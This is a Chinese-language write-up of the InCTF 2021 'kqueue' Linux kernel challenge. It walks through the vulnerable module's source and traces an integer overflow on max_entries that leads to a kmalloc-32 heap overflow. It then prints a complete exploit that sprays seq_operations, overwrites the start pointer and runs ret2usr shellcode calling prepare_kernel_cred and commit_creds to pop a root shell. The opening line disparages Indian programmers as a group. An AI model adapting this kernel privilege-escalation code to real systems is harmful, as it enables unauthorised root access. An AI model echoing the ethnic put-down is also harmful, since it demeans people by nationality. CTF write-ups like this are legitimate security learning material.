InCTF 2021 kqueue

# prelude

印度人写的代码是真的烂 烂到爆炸 包括垃圾的 err 校验无效和莫名其妙的指针加法 还有内存泄漏

InCTFi/2021/Pwn/Kqueue/Admin/src/kqueue.c at master · teambi0s/InCTFi · GitHub

# 源码分析

保护全关 除了 kaslr

ioctl 做菜单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
static noinline long kqueue_ioctl(struct file *file, unsigned int cmd, unsigned long arg){

long result;

request_t request;

mutex_lock(&operations_lock);

if (copy_from_user((void *)&request, (void *)arg, sizeof(request_t))){
err("[-] copy_from_user failed");
goto ret;
}

switch(cmd){
case CREATE_KQUEUE:
result = create_kqueue(request);
break;
case DELETE_KQUEUE:
result = delete_kqueue(request);
break;
case EDIT_KQUEUE:
result = edit_kqueue(request);
break;
case SAVE:
result = save_kqueue_entries(request);
break;
default:
result = INVALID;
break;
}
ret:
mutex_unlock(&operations_lock);
return result;
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
typedef struct{
uint16_t data_size;
uint64_t queue_size; /* This needs to handle larger numbers */
uint32_t max_entries;
uint16_t idx;
char* data;
}queue;

struct queue_entry{
uint16_t idx;
char *data;
queue_entry *next;
};

typedef struct{
uint32_t max_entries;
uint16_t data_size;
uint16_t entry_idx;
uint16_t queue_idx;
char* data;
}request_t;

数据结构如下 在 create_kqueue 会分配一块连续区域 头是 queue 底下的就是 queue_entry 数组
这是第一处恶心的地方 因为命名是数组了还用链表(当然内核中是不是连续分配我暂不知

注意到这里 queue->queue_size 是 sizeof(queue_entry) * (request.max_entries + 1) + sizeof(queue)
这里可以对 max_entries 进行一个整数溢出 只保留 sizeof (queue).
这个值在后面 save 的时候会作为 alloc 的大小 sizeof(queue) 固定为 0x18 也就是 kmalloc-32

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
static noinline long create_kqueue(request_t request){
long result = INVALID;

if(queueCount > MAX_QUEUES)
err("[-] Max queue count reached");

/* You can't ask for 0 queues , how meaningless */
if(request.max_entries<1)
err("[-] kqueue entries should be greater than 0");

/* Asking for too much is also not good */
if(request.data_size>MAX_DATA_SIZE)
err("[-] kqueue data size exceed");

/* Initialize kqueue_entry structure */
queue_entry *kqueue_entry;

/* Check if multiplication of 2 64 bit integers results in overflow */
ull space = 0;
if(__builtin_umulll_overflow(sizeof(queue_entry),(request.max_entries+1),&space) == true)
err("[-] Integer overflow");

/* Size is the size of queue structure + size of entry * request entries */
ull queue_size = 0;
if(__builtin_saddll_overflow(sizeof(queue),space,&queue_size) == true)
err("[-] Integer overflow"); [1] <<- queue_size = sizeof(entry) + n * sizeof(queue_entry)

/* Total size should not exceed a certain limit */
if(queue_size>sizeof(queue) + 0x10000)
err("[-] Max kqueue alloc limit reached");

/* All checks done , now call kzalloc */
queue *queue = validate((char *)kmalloc(queue_size,GFP_KERNEL));

/* Main queue can also store data */
queue->data = validate((char *)kmalloc(request.data_size,GFP_KERNEL));

/* Fill the remaining queue structure */
queue->data_size = request.data_size; [3] <<-用户 输入的数据大小
queue->max_entries = request.max_entries;
queue->queue_size = queue_size;

/* Get to the place from where memory has to be handled */
kqueue_entry = (queue_entry *)((uint64_t)(queue + (sizeof(queue)+1)/8)); [2]<<- 其实就是queue下面的第一个entry

/* Allocate all kqueue entries */
queue_entry* current_entry = kqueue_entry;
queue_entry* prev_entry = current_entry;

uint32_t i=1;
for(i=1;i<request.max_entries+1;i++){
if(i!=request.max_entries)
prev_entry->next = NULL;
current_entry->idx = i;
current_entry->data = (char *)(validate((char *)kmalloc(request.data_size,GFP_KERNEL)));

/* Increment current_entry by size of queue_entry */
current_entry += sizeof(queue_entry)/16;

/* Populate next pointer of the previous entry */
prev_entry->next = current_entry;
prev_entry = prev_entry->next;
}

/* Find an appropriate slot in kqueues */
uint32_t j = 0;
for(j=0;j<MAX_QUEUES;j++){
if(kqueues[j] == NULL)
break;
}

if(j>MAX_QUEUES)
err("[-] No kqueue slot left");

/* Assign the newly created kqueue to the kqueues */
kqueues[j] = queue;
queueCount++;
result = 0;
return result;
}

漏洞点为堆溢出
但是这有一整个逻辑都怪怪的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
/* Now you have the option to safely preserve your precious kqueues */
static noinline long save_kqueue_entries(request_t request){

(···)
/* Allocate memory for the kqueue to be saved */
char *new_queue = validate((char *)kzalloc(queue->queue_size,GFP_KERNEL));
(···)
/* Copy main's queue's data */
if(queue->data && request.data_size)
validate(memcpy(new_queue,queue->data,request.data_size)); [2] <<- 很明显的溢出
else
err("[-] Internal error");
new_queue += queue->data_size;

/* Get to the entries of the kqueue */
queue_entry *kqueue_entry = (queue_entry *)(queue + (sizeof(queue)+1)/8); [1] <<- 就是queue+1

/* copy all possible kqueue entries */
uint32_t i=0;
for(i=1;i<request.max_entries+1;i++){
if(!kqueue_entry || !kqueue_entry->data)
break;
if(kqueue_entry->data && request.data_size)
validate(memcpy(new_queue,kqueue_entry->data,request.data_size));
else
err("[-] Internal error");
kqueue_entry = kqueue_entry->next;
new_queue += queue->data_size;
}

/* Mark the queue as saved */
isSaved[request.queue_idx] = true;
return 0;
}

# exp

堆喷 seq_operations 释放部分结构然后 save 的时候占位溢出到 seq 修改 start 指针然后 ret2usr 利用残留寄存器值泄漏基址提权。

我的 exp 只需要溢出一次 按理说错位释放是可以申请到释放的 seq_operations 的 但是这里可能开了 random slub 的缘故 不稳定 必须要第二次执行 /exp 才能成功提权

ret2usr 的基址泄漏 可以通过跳到用户 shellcode 的时候的 rsp 寄存器残留值向栈上拿就行 跳转到 shellcode 首先要 push rbp
所以这里是 [rsp+8]

save 的时候写入大小是用户传入的 request 决定的 而申请的 chunk 大小是第一次 create 的时候决定的(queue->queue_size)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
#include "inc/common.h"
#include "inc/snippet.h"
// #include "inc/uffd.h"

#include <sys/sem.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <semaphore.h>
#include <sys/xattr.h>
#include <asm/ldt.h>
#include <sys/wait.h>

u64 kbase, kheap;
i32 kqueue_fd = -1;
i32 seqfds[32];

typedef struct{
u32 max_entries;
u16 data_size;
u16 entry_idx;
u16 queue_idx;
u8 *data;
} request_t;

#define CREATE_KQUEUE 0xDEADC0DE
#define EDIT_KQUEUE 0xDAADEEEE
#define DELETE_KQUEUE 0xBADDCAFE
#define SAVE_KQUEUE 0xB105BABE

void create(u16 data_size) {

request_t r = {
.max_entries = 0xffffffff,
.queue_idx = 0,
.data_size = data_size,
.data = NULL
};

if(ioctl(kqueue_fd, CREATE_KQUEUE, &r) < 0) {
panic("create");
}
}

void save(u16 data_size) {

request_t r = {
.max_entries = 0xffffffff,
.queue_idx = 0,
.data_size = data_size,
.data = NULL
};

if(ioctl(kqueue_fd, SAVE_KQUEUE, &r) < 0) {
panic("ioctl");
}
}

void edit(u8 *buf, u16 data_size) {

request_t r = {
.max_entries = 0xffffffff,
.queue_idx = 0,
.entry_idx = 0,
.data_size = data_size,
.data = buf
};

if(ioctl(kqueue_fd, EDIT_KQUEUE, &r) < 0) {
panic("ioctl");
}
}


// 0xffffffff8108c580 T prepare_kernel_cred
// 0xffffffff8108c140 T commit_creds
/*
pwndbg> tel
00:0000│ rsp 0xffffc900001fbe78 —▸ 0xffffffff81201179 ◂— mov r12, rax
01:0008│ 0xffffc900001fbe80 ◂— 1
02:0010│ 0xffffc900001fbe88 —▸ 0x7ffcae83fff0 —▸ 0x402431 ◂— add dword ptr [rax], eax
03:0018│ 0xffffc900001fbe90 ◂— 0
*/
u64 _ip = (u64)get_root_shell;
void shellcode(void)
{
__asm__(
".intel_syntax noprefix;"
"mov r12, [rsp + 8];"
"sub r12, 0x174bf9;" // prepare_kernel_cred
"mov r13, r12;"
"add r13, 0x174bf9;"
"sub r13, 0x175039;" // commit_creds
"xor rdi, rdi;"
"call r12;"
"mov rdi, rax;"
"call r13;"
"swapgs;"
"mov r14, _ss;"
"push r14;"
"mov r14, _sp;"
"push r14;"
"mov r14, _rflags;"
"push r14;"
"mov r14, _cs;"
"push r14;"
"mov r14, _ip;"
"push r14;"
"iretq;"
".att_syntax;"
);
}

#define QUE_SIZE (0x20 * 3)
int main(int argc, char const *argv[])
{
save_state();

kqueue_fd = open("/dev/kqueue", O_RDWR);
if(kqueue_fd < 0) panic("open");

range(i, 32, {
seqfds[i] = open("/proc/self/stat", O_RDONLY);
if(seqfds[i] < 0) panic("seqfds[%d]", i);
});

// make queue->queue_size be 0x18 which as argument pass to kzalloc in save_kqueue_entries
create(QUE_SIZE);
u8 buf[QUE_SIZE];
for(u8 *p = buf; p < (buf + QUE_SIZE); p += 8) {
*(u64 *)p = (u64)shellcode;
}

act("shellcode at 0x%lx", (u64)shellcode);

edit(buf, QUE_SIZE);

close(seqfds[0]);
close(seqfds[2]);
close(seqfds[4]);
close(seqfds[8]);
close(seqfds[10]);

save(0x40);
range(i, 32, {
read(seqfds[i], buf, 1);
});

return 0;
}